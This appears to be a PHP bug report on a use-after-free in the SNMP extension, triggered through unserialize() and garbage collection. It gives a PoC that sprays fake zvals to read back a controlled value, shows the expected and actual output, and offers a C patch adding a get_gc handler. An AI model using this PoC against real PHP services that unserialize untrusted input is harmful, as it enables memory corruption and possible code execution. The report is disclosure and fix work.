Description:
------------
Use After Free Vulnerability in SNMP with GC and unserialize()

This bug is similar to bug#72434:

PoC:
```
<?php

$arr = [1, [1, 2, 3, 4, 5], 3, 4, 5];
$poc = 'a:3:{i:1;N;i:2;O:4:"snmp":1:{s:11:"quick_print";'.serialize($arr).'}i:1;R:7;}';
$out = unserialize($poc);
gc_collect_cycles();
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}
var_dump($out[1]);

function ptr2str($ptr)
{
    $out = '';
    for ($i = 0; $i < 8; $i++) {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

?>
```

Expected result:
```
int(1)
```

Actual result:
```
int(1122334455)
```

Fix:
```
}
/* }}} */

+static HashTable *php_snmp_get_gc(zval *object, zval ***gc_data, int *gc_data_count TSRMLS_DC) /* {{{ */
+{
+	*gc_data = NULL;
+	*gc_data_count = 0;
+	return zend_std_get_properties(object TSRMLS_CC);
+}
+/* }}} */

/* {{{ php_snmp_get_properties(zval *object)
   Returns all object properties. Injects SNMP properties into object on first call */
static HashTable *php_snmp_get_properties(zval *object TSRMLS_DC)
{
...
	php_snmp_object_handlers.has_property = php_snmp_has_property;
+	php_snmp_object_handlers.get_gc = php_snmp_get_gc;
	php_snmp_object_handlers.get_properties = php_snmp_get_properties;
```